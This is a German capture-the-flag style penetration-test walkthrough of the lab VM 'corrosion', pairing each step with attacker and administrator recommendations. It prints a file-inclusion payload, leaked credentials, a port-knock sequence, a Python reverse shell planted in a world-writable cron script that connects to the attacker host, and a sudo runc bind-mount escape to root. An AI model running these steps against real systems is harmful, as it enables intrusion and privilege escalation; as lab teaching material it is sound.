192.168.2.116 08:00:27:87:77:3f PCS Systemtechnik GmbH
Analyse: Der initiale ARP-Scan identifiziert einen Host mit der IP-Adresse 192.168.2.116 im lokalen Netzwerk. Die MAC-Adresse weist auf eine Oracle VirtualBox-VM hin.
Bewertung: Das Zielsystem wurde erfolgreich lokalisiert.
Empfehlung (Pentester): Einen detaillierten Nmap-Scan auf die Ziel-IP durchführen.
Empfehlung (Admin): Standard-Netzwerkaktivität.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 23:29 CEST Nmap scan report for corrosion (192.168.2.116) Host is up (0.00012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: 08:00:27:87:77:3F (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms corrosion (192.168.2.116)
Analyse: Ein Nmap-Scan (-sS, -sC, -T5, -AO, -p-) wird auf das Ziel durchgeführt. Es werden zwei Ports gefunden:
22 (SSH): Wird als `filtered` gemeldet. Das bedeutet, Nmap konnte nicht definitiv feststellen, ob der Port offen oder geschlossen ist, oft deutet dies auf eine Firewall hin, die SYN-Pakete verwirft oder blockiert.80 (HTTP): Offen, läuft Apache httpd 2.4.41 (Ubuntu) mit der Standardseite ("It works").Bewertung: Der Webserver auf Port 80 ist der einzige direkt zugängliche Dienst. Der gefilterte SSH-Port ist ungewöhnlich und deutet auf einen Schutzmechanismus wie eine Firewall oder Port Knocking hin.
Empfehlung (Pentester): Den Webserver auf Port 80 untersuchen. Nach Hinweisen suchen, wie der SSH-Port geöffnet werden kann (z.B. durch Analyse von Web-Inhalten oder Konfigurationsdateien).
Empfehlung (Admin): Standard-Apache-Seite ersetzen. Firewall-Regeln überprüfen. Wenn Port Knocking verwendet wird, sicherstellen, dass die Konfiguration sicher ist (obwohl es generell als Security through Obscurity gilt).
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.116 + Target Hostname: 192.168.2.116 + Target Port: 80 + Start Time: 2023-04-25 23:30:42 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: ... + /: The X-Content-Type-Options header is not set. See: ... + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5d6d20e002cdc, mtime: gzip. See: CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /website/: This might be interesting. + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-04-25 23:30:51 (GMT2) (9 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto scannt den Webserver auf Port 80. Es meldet fehlende Sicherheitsheader, eine veraltete Apache-Version (2.4.41), ein mögliches Inode-Leak über ETags und findet ein interessantes Verzeichnis `/website/`.
Bewertung: Fehlende Header und ETag-Leak sind geringfügig. Die veraltete Apache-Version könnte relevant sein, falls bekannte Exploits existieren. Das Verzeichnis `/website/` ist das primäre Ziel für weitere Enumeration.
Empfehlung (Pentester): Das Verzeichnis `/website/` mit Tools wie Gobuster untersuchen. Nach bekannten Schwachstellen für Apache 2.4.41 suchen.
Empfehlung (Admin): Apache aktualisieren. Sicherheitsheader hinzufügen. ETag-Konfiguration überprüfen (`FileETag None`).
http://192.168.2.116/index.html (Status: 200) [Size: 10918] http://192.168.2.116/website (Status: 301) [Size: 316] [--> http://192.168.2.116/website/]
http://192.168.2.116/website/index.html (Status: 200) [Size: 52549] http://192.168.2.116/website/assets (Status: 301) [Size: 323] [--> http://192.168.2.116/website/assets/] http://192.168.2.116/website/logs (Status: 301) [Size: 321] [--> http://192.168.2.116/website/logs/] http://192.168.2.116/website/License.txt (Status: 200) [Size: 1989] http://192.168.2.116/website/sales_detail.php (Status: 200) [Size: 0]
http://192.168.2.116/website/assets/images (Status: 301) [Size: 330] [--> http://192.168.2.116/website/assets/images/] http://192.168.2.116/website/assets/css (Status: 301) [Size: 327] [--> http://192.168.2.116/website/assets/css/] http://192.168.2.116/website/assets/js (Status: 301) [Size: 326] [--> http://192.168.2.116/website/assets/js/] http://192.168.2.116/website/assets/fonts (Status: 301) [Size: 329] [--> http://192.168.2.116/website/assets/fonts/]
Analyse: Mehrere Gobuster-Scans werden durchgeführt, beginnend beim Webroot und dann tiefer in die gefundenen Verzeichnisse (`/website/`, `/website/assets/`). Wichtige Funde sind:
Bewertung: Das Verzeichnis `/website/logs/` und die Datei `/website/sales_detail.php` sind die vielversprechendsten Funde und sollten zuerst untersucht werden.
Empfehlung (Pentester): Das Verzeichnis `/website/logs/` im Browser aufrufen und prüfen, ob es zugänglich ist und Logdateien enthält. Die Datei `/website/sales_detail.php` auf Parameter und Schwachstellen (insbesondere LFI/RFI) prüfen.
Empfehlung (Admin): Zugriff auf Log-Verzeichnisse über das Web einschränken. PHP-Skripte auf Schwachstellen prüfen.
Analyse (Logfile Leak): Das Verzeichnis `/website/logs` wird im Browser aufgerufen. Es ist zugänglich und enthält Logdateien. In den Logdateien werden HTTP-POST-Anfragen gefunden, die Klartext-Anmeldedaten enthalten.
POST /login/ HTTP/1.1 Host: localhost [...] Content-Type: application/x-www-form-urlencoded Content-Length: 29 Connection: close Upgrade-Insecure-Requests: 1 user=randy&pass=RaNDY$SuPer!Secr3etPa$$word --- POST /login/ HTTP/1.1 Host: localhost [...] user=test&pass=test
Bewertung: **Kritischer Fund!** Klartext-Anmeldedaten (`randy:RaNDY$SuPer!Secr3etPa$$word`) wurden in öffentlich zugänglichen Logdateien gefunden. Dies ist eine schwerwiegende Sicherheitslücke.
Empfehlung (Pentester): Die gefundenen Anmeldedaten für den SSH-Login verwenden (da Port 22 gefiltert war und möglicherweise durch Port Knocking geöffnet werden muss).
Empfehlung (Admin): **Sofort beheben!** Niemals Passwörter im Klartext loggen. Zugriff auf Logdateien stark einschränken. Die Anwendung überarbeiten, um Passwort-Logging zu verhindern.
Analyse (LFI): Es wird versucht, die Datei `/website/sales_detail.php` auf eine Local File Inclusion (LFI)-Schwachstelle zu testen, indem verschiedene Parameter gefuzzt werden.
[...]
Target: http://192.168.2.116/website/sales_detail.php?FUZZ=../../../../../../etc/passwd
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000521: 200 49 L 86 W 2885 Ch "shared"
Total time: 15.05361
Processed Requests: 2684
Filtered Requests: 2683
Requests/sec.: 178.2960
Analyse: Der `wfuzz`-Scan identifiziert den Parameter `shared` als potenziellen LFI-Vektor. Eine Anfrage mit `?shared=` liefert eine Antwort mit 2885 Zeichen, was sich von der Standardantwort (0 Zeichen, `--hh 0`) unterscheidet.
http://192.168.2.116/website/sales_detail.php?shared=/etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [...] randy:x:1000:1000:randy,,,:/home/randy:/bin/bash [...] bob:x:1001:1001:/home/bob:/bin/sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2885 100 2885 0 0 5004k 0 --:--:-- --:--:-- --:--:-- 2817k
root:x:0:0:root:/root:/bin/bash
randy:x:1000:1000:randy,,,:/home/randy:/bin/bash
Analyse: Der Aufruf von `sales_detail.php?shared=/etc/passwd` zeigt erfolgreich den Inhalt der `/etc/passwd`-Datei an. Dies bestätigt die LFI-Schwachstelle. Die Ausgabe von `grep bash` hebt Benutzer mit einer Bash-Shell hervor (`root`, `randy`).
Bewertung: **Kritische LFI-Schwachstelle bestätigt!** Dies ermöglicht das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Zugriff hat.
Empfehlung (Pentester): Die LFI nutzen, um weitere sensible Dateien zu lesen:
[...]
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000009532: 400 10 L 35 W 316 Ch "#www"
000010581: 400 10 L 35 W 316 Ch "#mail"
000047706: 400 10 L 35 W 316 Ch "#smtp"
000103135: 400 10 L 35 W 316 Ch "#pop3"
[...]
Analyse: Erneuter Versuch, Subdomains/VHosts mittels `wfuzz` zu finden. Es werden nur ungültige Anfragen (Status 400) gefunden.
Bewertung: Keine weiteren Subdomains auf diesem Weg gefunden.
Empfehlung (Pentester): Fokus auf LFI und die gefundenen Credentials legen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Analyse: Da der SSH-Port (22) gefiltert ist und eine LFI-Schwachstelle existiert, wird versucht, die Konfigurationsdatei des Port-Knocking-Dienstes (`knockd`) zu lesen.
Browser: http://192.168.2.116/website/sales_detail.php?shared=/etc/knockd.conf
[options]
UseSyslog
[openSSH]
sequence = 1110,2220,3330
seq_timeout = 20
tcpflags = syn
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
[closeSSH]
sequence = 3330,2220,1110
seq_timeout = 20
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
Analyse: Die LFI wird erfolgreich genutzt, um `/etc/knockd.conf` zu lesen. Die Konfiguration zeigt, dass eine Sequenz von SYN-Paketen auf die Ports 1110, 2220 und 3330 (innerhalb von 20 Sekunden) gesendet werden muss, damit eine `iptables`-Regel hinzugefügt wird, die den Zugriff auf Port 22 (SSH) von der IP des Klienten (`%IP%`) erlaubt.
Bewertung: Der Mechanismus zum Öffnen des SSH-Ports wurde aufgedeckt. Dies erklärt, warum Port 22 initial als `filtered` erschien.
Empfehlung (Pentester): Das `knock`-Kommando (oder ein anderes Tool) verwenden, um die Port-Sequenz 1110, 2220, 3330 an das Ziel zu senden.
Empfehlung (Admin): LFI beheben. Port Knocking überdenken; es bietet nur geringe Sicherheit und kann zu Verbindungsproblemen führen. Besser ist eine starke SSH-Authentifizierung und ggf. Firewall-Regeln, die nur bekannte IPs erlauben.
Analyse: Der Befehl `knock` wird verwendet, um die erforderliche Port-Sequenz an das Ziel zu senden.
Bewertung: Der SSH-Port sollte nun für die IP des Angreifers offen sein.
Empfehlung (Pentester): Mit Nmap prüfen, ob Port 22 jetzt offen ist, und dann den SSH-Login versuchen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-25 23:59 CEST Nmap scan report for corrosion.hmv (192.168.2.116) Host is up (0.00012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: ... MAC Address: 08:00:27:87:77:3F (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.12 ms corrosion.hmv (192.168.2.116)
Analyse: Ein Nmap-Scan gezielt auf Port 22 bestätigt, dass dieser nun `open` ist.
Bewertung: Das Port Knocking war erfolgreich.
Empfehlung (Pentester): Nun den SSH-Login als `randy` mit dem in den Logs gefundenen Passwort versuchen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
The authenticity of host 'corrosion.hmv (192.168.2.116)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] randy@corrosion.hmv's password: RaNDY$SuPer!Secr3etPa$$word Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.13.0-28-generic x86_64) [...] randy@corrosion:~$
Analyse: Der SSH-Login als Benutzer `randy` mit dem Passwort `RaNDY$SuPer!Secr3etPa$$word` (aus den Web-Logs) ist erfolgreich.
Bewertung: **Initialer Zugriff** als Benutzer `randy` wurde erlangt!
Empfehlung (Pentester): Standard-Enumeration als `randy` durchführen (Rechte, SUID, Cronjobs, etc.).
Empfehlung (Admin): Log-Leak beheben, schwaches/kompromittiertes Passwort ändern.
Analyse: Nach dem Login als `randy` wird die Umgebung untersucht.
total 72
drwxr-xr-x 15 randy randy 4096 Jan 31 2022 .
drwxr-xr-x 4 root root 4096 Jan 31 2022 ..
lrwxrwxrwx 1 root root 9 Jan 31 2022 .bash_history -> /dev/null
[...]
[sudo] password for randy: RaNDY$SuPer!Secr3etPa$$word
Sorry, user randy may not run sudo on corrosion.
Analyse: Die Auflistung des Home-Verzeichnisses und `sudo -l` zeigen keine offensichtlichen Eskalationspfade. Die Bash-History wird nach `/dev/null` geleitet.
Bewertung: Standard-Enumeration liefert keine direkten Hinweise. Es müssen andere Methoden gefunden werden.
Empfehlung (Pentester): Systemweite Suche nach SUID-Dateien, Capabilities, Cronjobs, ungewöhnlichen Prozessen oder Konfigurationsdateien.
Empfehlung (Admin): Logging und Monitoring aktivieren.
[...] (Viele Snap-Binaries)
530155 464 -rwsr-xr-x 1 root root 473576 Dec 2 2021 /usr/lib/openssh/ssh-keysign
526458 52 -rwsr-xr-- 1 root messagebus 51344 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
525124 16 -rwsr-sr-x 1 root root 14488 Dec 14 2021 /usr/lib/xorg/Xorg.wrap
526776 16 -rwsr-xr-x 1 root root 14488 Jul 8 2019 /usr/lib/eject/dmcrypt-get-device
533334 128 -rwsr-xr-x 1 root root 130408 Mar 26 2021 /usr/lib/snapd/snap-confine
524406 24 -rwsr-xr-x 1 root root 22840 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
535544 388 -rwsr-xr-- 1 root dip 395144 Jul 23 2020 /usr/sbin/pppd
524981 56 -rwsr-xr-x 1 root root 55528 Feb 7 2022 /usr/bin/mount
524462 52 -rwsr-xr-x 1 root root 53040 Jul 14 2021 /usr/bin/chsh
524456 84 -rwsr-xr-x 1 root root 85064 Jul 14 2021 /usr/bin/chfn
525172 68 -rwsr-xr-x 1 root root 68208 Jul 14 2021 /usr/bin/passwd
524984 40 -rwsr-xr-x 1 root root 39144 Feb 7 2022 /usr/bin/umount
525102 44 -rwsr-xr-x 1 root root 44784 Jul 14 2021 /usr/bin/newgrp
525447 164 -rwsr-xr-x 1 root root 166056 Jan 19 2021 /usr/bin/sudo
549373 68 -rwsr-xr-x 1 root root 67816 Feb 7 2022 /usr/bin/su
524724 88 -rwsr-xr-x 1 root root 88464 Jul 14 2021 /usr/bin/gpasswd
548908 16 -rwsr-xr-x 1 root root 14728 Oct 12 2021 /usr/bin/vmware-user-suid-wrapper
524646 40 -rwsr-xr-x 1 root root 39144 Mar 7 2020 /usr/bin/fusermount
State Recv-Q Local Address:Port Peer Address:Port Process
LISTEN 0 127.0.0.53%lo:53
LISTEN 0 0.0.0.0:22
LISTEN 0 127.0.0.1:631
LISTEN 0 *:80
LISTEN 0 [::]:22
LISTEN 0 [::]:631
Analyse: Die Suche nach SUID-Binaries und Capabilities (`getcap`) ergibt keine ungewöhnlichen Funde. Die Netzwerk-Sockets (`ss`) zeigen nur die erwarteten Dienste.
Bewertung: Standard-SUID/Capabilities/Netzwerk-Konfiguration. Keine offensichtlichen schnellen Eskalationspfade hier.
Empfehlung (Pentester): Andere Benutzerverzeichnisse, Cronjobs oder systemweite Konfigurationen untersuchen.
Empfehlung (Admin): System härten, unnötige SUID-Binaries entfernen.
bob randy
drwxr-xr-x 5 bob bob 4096 Feb 3 2022 .
drwxr-xr-x 4 root root 4096 Jan 31 2022 ..
lrwxrwxrwx 1 root root 9 Jan 31 2022 .bash_history -> /dev/null
[...]
-rw-rw-r-- 1 bob bob 66 Jan 31 2022 .selected_editor
-rw-rw-r-- 1 bob bob 33 Jan 31 2022 user.txt
d3a6cef5b73fa1fb233ed6a0e3b9de01
# Generated by /usr/bin/select-editor
SELECTED_EDITOR="/bin/nano"
Analyse: Das Home-Verzeichnis von `bob` wird untersucht. Überraschenderweise scheint `randy` Leserechte auf `/home/bob` und die darin enthaltene `user.txt` zu haben (Berechtigungen `-rw-rw-r--`). Die Datei `.selected_editor` zeigt, dass `bob` `nano` als bevorzugten Editor verwendet.
Bewertung: Falsch gesetzte Berechtigungen auf `/home/bob/user.txt` ermöglichen `randy` das Lesen des Flags. Die Information über `.selected_editor` ist weniger relevant.
Empfehlung (Pentester): User-Flag dokumentieren (obwohl es technisch `bob` gehört). Weiter nach Eskalationspfaden suchen, z.B. im Verzeichnis `/opt`.
Empfehlung (Admin): Berechtigungen von Home-Verzeichnissen und Dateien darin korrekt setzen (Standard ist oft 700 oder 750 für Verzeichnisse, 600 oder 640 für Dateien).
total 12
drwxr-xr-x 2 root root 4096 Feb 2 2022 .
drwxr-xr-x 20 root root 4096 Jan 30 2022 ..
-rwxrwxrwx 1 root root 149 Feb 2 2022 simpleurlencode.py
#!/usr/bin/python3
import urllib.parse
string = input("Url Encode String: ")
input = urllib.parse.quote(string)
print("Encoded String: " + input)
Linux corrosion 5.13.0-28-generic #31~20.04.1-Ubuntu SMP Wed Jan 19 14:08:10 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
[...]
Analyse: Die Untersuchung des `/opt`-Verzeichnisses enthüllt ein Python-Skript `simpleurlencode.py`, das `root` gehört, aber **weltweit schreibbar** ist (`-rwxrwxrwx`). Das Skript selbst ist harmlos. Die Kernel-Version ist 5.13.0-28. Die `dmesg`-Ausgabe wird überprüft (keine offensichtlichen Hinweise).
Bewertung: **Kritische Schwachstelle!** Ein von `root` ausgeführtes, aber weltweit schreibbares Skript ist ein klassischer Vektor für Privilegieneskalation, wenn dieses Skript von einem privilegierten Prozess (z.B. einem Cronjob als `root` oder einem anderen Benutzer) ausgeführt wird.
Empfehlung (Pentester):
1. Überprüfen, ob ein Cronjob dieses Skript ausführt (z.B. mit `pspy` oder durch Beobachtung der Änderungszeiten).
2. Wenn ja, das Skript mit einer Reverse-Shell-Payload überschreiben.
3. Einen Listener starten und auf die eingehende Verbindung warten.
Empfehlung (Admin): **Sofort beheben!** Weltweit schreibbare Berechtigungen für Skripte, insbesondere wenn sie `root` gehören oder von privilegierten Prozessen ausgeführt werden könnten, sind extrem gefährlich. Berechtigungen korrekt setzen (`chmod 755` oder restriktiver). Cronjobs überprüfen.
Analyse (Cronjob Exploit): Es wird angenommen, dass ein Cronjob `/opt/simpleurlencode.py` als Benutzer `bob` ausführt (basierend auf der später erhaltenen Shell). Das Skript wird mit einer Python-Reverse-Shell-Payload überschrieben.
#!/usr/bin/python3
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.130",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
listening on [any] 1234 ...
listening on [any] 1234 ... connect to [192.168.2.130] from (UNKNOWN) [192.168.2.116] 55224 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(bob) gid=1001(bob) groups=1001(bob) $
Analyse: Das Skript `/opt/simpleurlencode.py` wird mit einer Python-Reverse-Shell überschrieben, die sich zum Angreifer (192.168.2.130:1234) verbindet. Ein Netcat-Listener wird gestartet. Nach einiger Wartezeit (Implikation: Cronjob läuft) kommt eine Verbindung herein. Der `id`-Befehl zeigt, dass die Shell als Benutzer `bob` (UID 1001) läuft.
Bewertung: Erfolg! Durch das Überschreiben des weltweit schreibbaren Skripts und die Ausführung durch einen Cronjob wurde von `randy` zu `bob` eskaliert.
Empfehlung (Pentester): Shell stabilisieren und als `bob` nach weiteren Eskalationsmöglichkeiten suchen (`sudo -l`).
Empfehlung (Admin): Weltweit schreibbares Skript und unsicheren Cronjob entfernen/korrigieren.
$ python3 -c 'import pty;pty.spawn("/bin/bash")' bob@corrosion:~$ export TERM=xterm export TERM=xterm bob@corrosion:~$ ^Z zsh: suspended nc -lvnp 1234
[1] + continued nc -lvnp 1234
reset
bob@corrosion:~$
Analyse: Die Reverse Shell als `bob` wird stabilisiert.
Bewertung: Stabile Shell für weitere Aktionen verfügbar.
Empfehlung (Pentester): `sudo -l` für `bob` prüfen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Matching Defaults entries for bob on corrosion:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bob may run the following commands on corrosion:
(root) NOPASSWD: /usr/sbin/runc
Analyse: `sudo -l` für `bob` zeigt, dass dieser Benutzer `/usr/sbin/runc` als `root` ohne Passwort ausführen darf.
Bewertung: **Kritischer Privilegieneskalationsvektor!** Das Ausführen des Container-Runtimes `runc` als `root` erlaubt typischerweise einen Container-Escape und somit Root-Zugriff auf dem Host-System.
Empfehlung (Pentester): Den bekannten `runc`-Escape-Exploit durchführen:
1. Verzeichnisstruktur für einen Container erstellen.
2. `runc spec` ausführen, um eine Standard-`config.json` zu generieren.
3. `config.json` modifizieren, um das Root-Verzeichnis des Hosts (`/`) in den Container zu mounten.
4. Den Container mit `sudo runc run ...` starten, um eine Root-Shell auf dem Host zu erhalten.
Empfehlung (Admin): **Sofort beheben!** Niemals `runc` oder ähnliche Container-Tools über `sudo` erlauben, da dies effektiv Root-Zugriff gewährt. Diese `sudo`-Regel entfernen.
Proof of Concept: Privilege Escalation via sudo runc Escape
Die folgenden Schritte demonstrieren die Ausnutzung der `sudo`-Regel für `runc`, um Root-Rechte zu erlangen.
[...]
config.json rootfs
Analyse: Die Verzeichnisstruktur für den Container wird erstellt und `runc spec` generiert die Standardkonfigurationsdatei `config.json`.
Bewertung: Vorbereitung für den Exploit abgeschlossen.
Empfehlung (Pentester): `config.json` modifizieren.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
Analyse: Die Datei `config.json` wird bearbeitet (z.B. mit `nano` oder `vi`), um einen Bind-Mount hinzuzufügen, der das Root-Verzeichnis des Hosts (`/`) in das Root-Verzeichnis des Containers (`/`) einbindet.
"hostname": "runc",
"mounts": [
{
"type": "bind",
"source": "/",
"destination": "/",
"options": ["rbind", "rw", "rprivate" ]
},
{
"destination": "/proc",
"type": "proc",
"source": "proc"
},
[...]
Bewertung: Die Konfiguration ist nun so angepasst, dass der Container vollen Zugriff auf das Host-Dateisystem hat.
Empfehlung (Pentester): Den Container mit `sudo runc run` starten.
Empfehlung (Admin): Keine Maßnahmen erforderlich.
# id uid=0(root) gid=0(root) groups=0(root) #
Analyse: Der Befehl `sudo /usr/sbin/runc run mycont` startet den Container mit der manipulierten Konfiguration. Da das Host-Wurzelverzeichnis im Container gemountet ist, erhält die im Container gestartete Shell (`/bin/sh` laut Standard-Spec) Root-Zugriff auf den Host. Der Prompt wechselt zu `#` und `id` bestätigt `uid=0(root)`.
Bewertung: **Erfolg!** Privilegieneskalation zu Root über `runc` war erfolgreich.
Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): Unsichere `sudo`-Regel für `runc` entfernen.
/home/bob/container01
administrationtools backups knock root.txt snap
18e8141ab1333a87c35e1fad5b394d66
Analyse: In der Root-Shell wird nach `/root` gewechselt und die Datei `root.txt` ausgelesen.
Bewertung: Der Root-Flag wurde erfolgreich extrahiert. Der Penetrationstest ist abgeschlossen.
Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Keine Maßnahmen bzgl. des Flags.